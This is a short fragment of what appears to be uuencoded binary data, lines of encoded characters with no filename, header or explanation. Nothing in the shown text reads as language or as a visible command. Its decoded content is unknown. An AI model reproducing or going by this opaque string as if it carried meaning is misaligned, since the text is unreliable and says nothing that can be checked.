M*NTX::`LK1=7H:[LB.1P5HP8_;A6@6C09H5ME4+CX#@5@U"@<"AG1B0Q1IH> MWD9$U]C6>3060$6VLA7KIAU#:_*DD6*"@5-VFH:=^8IX4GG&-(5ZX9P/T2#O MN'81J1(_'BH4FP,@:P?H;2O2JPO`KE"MG[@`5 M)O=#>P.ENZ.#B@FU.VRSD%SW]D.@>;SQ*+3J0ZU2%GVHN]0UOXCJ.TK"A2`8 MJU="^>)\M167A)>=VT1.KC3?W69NHQ1)HWLTL\J=,4A2GSOQ+)EM93$,EU^$ M>*YM64MAN[+U@IQ7=OL5%N+"4.Y],492>*23P-7(J:0KWYSW15&Z']X7R_VL M=1AY;O/`U%48;?LGY(2)BR^"E!>9Y(=D@['0ORX;M#+X1#ULY/5S2=H;=]E7 M$6QB)B!T5RO(P'VZOD#@\&\I\QA$/!>F^/*1$7P[>!<8.QA0HIM':V`=FK92-8#6__X-\ M?O=)I_@#+I1$:ECSR$;X>YC'!6FE@2\/F(SX"2EF8B@6NUV_P@P\?A4!M-@Y M;">$HG-8T:&B<@`9VK=[FH\0$N'S'X$;*U;Y10`UT*$A<-#`#WKK^+)MX)MB M!3]TS7IF#X]IKJ9GND)5KOC#Y49')?C=^\1M==(`PHU;4+HAU2Q@2+H[:CWH M!^"8,U4$?>E>/PUXEO22&[F=L?*8,X9%'A,P-4#][A1A5(-+1U!-RB9&NU=F MZJJB^D1`J%(*QS);;UMDN#N[FM-W/*\*^4_>:>/H.>7FUA]'1FJB6Q^T).O(%'>@O=/7GM&BG6\$OHL'PY M3E3LH\>/\<$I%ZW$4WE/"C`I5L1;S^N)X:S[Z;&<_R#W599W*BM9R4I6LI*5 MK&0E*UG)2E:RDI6L9"4K6